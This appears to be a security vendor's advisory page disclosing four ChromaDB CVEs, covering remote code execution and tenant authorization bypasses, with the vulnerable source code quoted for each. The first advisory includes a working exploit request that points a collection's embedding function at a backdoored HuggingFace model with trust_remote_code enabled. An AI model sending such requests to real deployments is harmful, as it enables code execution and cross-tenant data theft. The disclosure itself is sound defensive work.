Innovation Hub

CVE Number

CVE-2026-45833

‍

Summary

Any authenticated user with UPDATE_COLLECTION permission can achieve remote code execution by updating a collection's embedding function to reference a malicious HuggingFace model with trust_remote_code: true. Authentication runs before model loading, so this is not a pre-authentication issue, but the model instantiation itself is unguarded.

‍

Products Impacted

This vulnerability affects ChromaDB versions from 0.4.17 to the latest Python release.

‍

CVSS Score: 9.4

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

‍

CWE Categorization

CWE-94: Improper Control of Generation of Code (‘Code Injection’)

‍

Details

In the V2 API the update_collection function (chromadb/server/fastapi/__init__.py:883-919):

‍

def process_update_collection(
    request: Request, collection_id: str, raw_body: bytes
) -> None:
    update = validate_model(UpdateCollection, orjson.loads(raw_body))
    self.sync_auth_request(
        request.headers,
        AuthzAction.UPDATE_COLLECTION,
        tenant, database_name, collection_id,
    )

    configuration = (
        None
        if not update.new_configuration
        else load_update_collection_configuration_from_json(
            update.new_configuration  # Dangerous code path
        )
    )

‍

The load_update_collection_configuration_from_json() function (chromadb/api/collection_configuration.py:605-633) calls the identical build_from_config() method that the create_collection path uses:

‍

if json_map.get("embedding_function") is not None:
    # ...
    ef = known_embedding_functions[json_map["embedding_function"]["name"]]
    result["embedding_function"] = ef.build_from_config(
        json_map["embedding_function"]["config"]  # Model instantiation
    )

‍

This means trust_remote_code=True and a malicious model_name work identically through update_collection. The V1 variant at  __init__.py:1920-1959 follows the same pattern: auth check at line 1932, config loading at line 1939-1944.

Exploit request, requires UPDATE_COLLECTION permission:

‍

PUT /api/v2/tenants/default_tenant/databases/default_database/collections/{collection_id} HTTP/1.1
Authorization: Bearer <valid-token>
Content-Type: application/json

{
    "new_configuration": {
        "embedding_function": {
            "name": "sentence_transformer",
            "type": "known",
            "config": {
                "model_name": "attacker-org/backdoored-model",
                "device": "cpu",
                "normalize_embeddings": false,
                "kwargs": {"trust_remote_code": true}
            }
        }
    }
}

‍

Timeline

• February 17th, 2026 - Initial disclosure to ChromaDB per their security page https://www.trychroma.com/security. 
• February 24th, 2026 - Attempted follow up through other trychroma emails.
• March 5th, 2026 - Attempted contact through IT-ISAC.
• April 16th, 2026 - Attempted final follow up through all previous channels and social media.
• May 18th, 2026 - Publicly disclosed a first vulnerability, no response from the vendor.

‍

Project URL:

https://www.trychroma.com/

https://github.com/chroma-core/chroma/

‍

RESEARCHER: Esteban Tonglet, Security Researcher, HiddenLayer

‍

CVE Number

CVE-2026-45832

‍

Summary

All V1 collection-level endpoints pass None for tenant and database to the authorization layer, making tenant-scoped access control impossible through V1, regardless of which authorization provider is configured. V1 cannot be disabled.

‍

Products Impacted

This vulnerability affects ChromaDB versions from 0.5.0 to the latest Python release.

‍

CVSS Score: 8.8

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

‍

CWE Categorization

CWE-639: Authorization Bypass Through User-Controlled Key

‍

Details

V1 endpoints in chromadb/server/fastapi/__init__.py systematically pass None for tenant and database to the auth layer. Every V1 collection-level endpoint follows the same pattern, marked with the comment # NOTE(rescrv, iron will auth): v1.

V1 add endpoint, __init__.py:1993-2011:

‍

@trace_method("FastAPI.add_v1", OpenTelemetryGranularity.OPERATION)
@rate_limit
async def add_v1(
    self,
    request: Request,
    collection_id: str,
) -> bool:
    try:
        def process_add(request: Request, raw_body: bytes) -> bool:
            add = validate_model(AddEmbedding, orjson.loads(raw_body))
            # NOTE(rescrv, iron will auth):  v1
            self.sync_auth_and_get_tenant_and_database_for_request(
                request.headers,
                AuthzAction.ADD,
                None,  # The tenant is always None
                None,  # The database is always None
                collection_id,
            )
            return self._api._add(
                collection_id=_uuid(collection_id),  # The UUID goes directly to _add
                # ...
            )

‍

V1 get endpoint, __init__.py:2114-2130:

‍

@trace_method("FastAPI.get_v1", OpenTelemetryGranularity.OPERATION)
@rate_limit
async def get_v1(
    self,
    collection_id: str,
    request: Request,
) -> GetResult:
    def process_get(request: Request, raw_body: bytes) -> GetResult:
        get = validate_model(GetEmbedding, orjson.loads(raw_body))
        # NOTE(rescrv, iron will auth):  v1
        self.sync_auth_and_get_tenant_and_database_for_request(
            request.headers,
            AuthzAction.GET,
            None,  # The tenant is always None
            None,  # The database is always None
            collection_id,
        )
        return self._api._get(
            collection_id=_uuid(collection_id),  # The UUID goes straight to _get
            # ...
        )

‍

The None values propagate into AuthzResource(tenant=None, database=None, collection=collection_id). Even if an authorization provider attempted to check the resource, it would have no tenant or database to check against. The data layer then calls _get_collection(uuid), which resolves the collection by UUID without any tenant filtering.

‍

Timeline

• February 17th, 2026 - Initial disclosure to ChromaDB per their security page https://www.trychroma.com/security. 
• February 24th, 2026 - Attempted follow up through other trychroma emails.
• March 5th, 2026 - Attempted contact through IT-ISAC.
• April 16th, 2026 - Attempted final follow up through all previous channels and social media.
• May 18th, 2026 - Publicly disclosed a first vulnerability, no response from the vendor.

‍

Project URL:

https://www.trychroma.com/

https://github.com/chroma-core/chroma/

‍

RESEARCHER: Esteban Tonglet, Security Researcher, HiddenLayer

‍

CVE Number

CVE-2026-45831

‍

Summary

ChromaDB's SimpleRBACAuthorizationProvider, the only built-in RBAC provider and the one used in all official documentation examples, evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to. A user configured with read access to a specific tenant can read from any tenant. A user with write access can modify data across all tenants.

‍

Products Impacted

This vulnerability affects ChromaDB versions from 0.5.0 to the latest release at the time of publication

‍

CVSS Score: 8.8

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

‍

CWE Categorization

CWE-863: Incorrect Authorization

‍

Details

The vulnerability is in chromadb/auth/simple_rbac_authz/__init__.py:40-75. The initialization code builds a mapping of user_id -> set(actions):

‍

class SimpleRBACAuthorizationProvider(ServerAuthorizationProvider):
    def __init__(self, system: System):
        super().__init__(system)
        # ...
        # This AuthorizationProvider does not support
        # per-resource authorization so we just map the user ID to the
        # permissions they have.
        self._permissions: Dict[str, Set[str]] = {}
        for user in self._config["users"]:
            _actions = self._config["roles_mapping"][user["role"]]["actions"]
            self._permissions[user["id"]] = set(_actions)

‍

The authorization decision in authorize_or_raise() only checks whether the user’s action set contains the requested action:

‍

def authorize_or_raise(
    self, user: UserIdentity, action: AuthzAction, resource: AuthzResource
) -> None:
    policy_decision = False
    if (
        user.user_id in self._permissions
        and action in self._permissions[user.user_id]  # Only checks action
    ):
        policy_decision = True

    logger.debug(
        f"Authorization decision: Access "
        f"{'granted' if policy_decision else 'denied'} for "
        f"user [{user.user_id}] attempting to "
        f"[{action}] [{resource}]" 
    )
    if not policy_decision:
        raise HTTPException(status_code=403, detail="Forbidden")

‍

The resource parameter is of type AuthzResource, defined at chromadb/auth/__init__.py:186-194:

‍

@dataclass
class AuthzResource:
    tenant: Optional[str]
    database: Optional[str]
    collection: Optional[str]

‍

It carries the tenant, database, and collection context for the authorization decision, but authorize_or_raise() never reads resource.tenant, resource.database, or resource.collection. The decision is purely action in permissions[user_id].

‍

Timeline

• February 17th, 2026 - Initial disclosure to ChromaDB per their security page https://www.trychroma.com/security. 
• February 24th, 2026 - Attempted follow up through other trychroma emails.
• March 5th, 2026 - Attempted contact through IT-ISAC.
• April 16th, 2026 - Attempted final follow up through all previous channels and social media.
• May 18th, 2026 - Publicly disclosed a first vulnerability, no response from the vendor.

‍

Project URL:

https://www.trychroma.com/

https://github.com/chroma-core/chroma/

‍

RESEARCHER: Esteban Tonglet, Security Researcher, HiddenLayer

CVE Number

CVE-2026-8828

‍

Summary

The same vulnerability as CVE-2026-45830 is present in the Rust codebase. Any authenticated user with a valid collection UUID can read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to. ChromaDB's collection lookup skips the tenant and database filter when a UUID is provided. 

‍

Products Impacted

This vulnerability affects the Rust ChromaDB versions from 1.0.0 to the latest release.

‍

CVSS Score: 8.8

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

‍

CWE Categorization

CWE-639: Authorization Bypass Through User-Controlled Key

‍

Details

The Rust Axum-based frontend, used in production distributed deployments and configured via the Kubernetes Helm chart at k8s/distributed-chroma/, contains the identical IDOR across all three backend paths. The vulnerability is systemic, it exists in every sysdb implementation, not just the Python SQLite path.

Looking at the Rust SQLite backend (rust/sysdb/src/sysdb.rs:547), the SysDb::Sqlite variant drops the database parameter entirely:

‍

SysDb::Sqlite(sqlite) => sqlite.get_collection_with_segments(collection_id).await,
       // database parameter is not passed

‍

The underlying sqlite.rs:635-681 calls get_collections_with_conn() with None for tenant, database, and name:

‍

let collections = self
            .get_collections_with_conn(&mut *tx, Some(collection_id), None, None, None, None, 0)
            .await?;

‍

The query builder at sqlite.rs:709-761 uses sea_query::Cond::all().add_option(). When values are None, no WHERE condition is added. The collection is resolved purely by UUID.

The Rust Spanner backend (rust/rust-sysdb/src/spanner.rs:1091-1134) SQL Query has no tenant or database filter at all:

‍

WHERE c.collection_id = @collection_id AND c.is_deleted = FALSE

‍

The lack of AND c.tenant = @tenant clause causes the IDOR in the production Spanner backend used in Chroma Cloud and enterprise deployments.

‍

Timeline

• February 17th, 2026 - Initial disclosure to ChromaDB per their security page https://www.trychroma.com/security. 
• February 24th, 2026 - Attempted follow up through other trychroma emails.
• March 5th, 2026 - Attempted contact through IT-ISAC.
• April 16th, 2026 - Attempted final follow up through all previous channels and social media.
• May 18th, 2026 - Publicly disclosed a first vulnerability, no response from the vendor.

‍

Project URL:

https://www.trychroma.com/

https://github.com/chroma-core/chroma/

‍

RESEARCHER: Esteban Tonglet, Security Researcher, HiddenLayer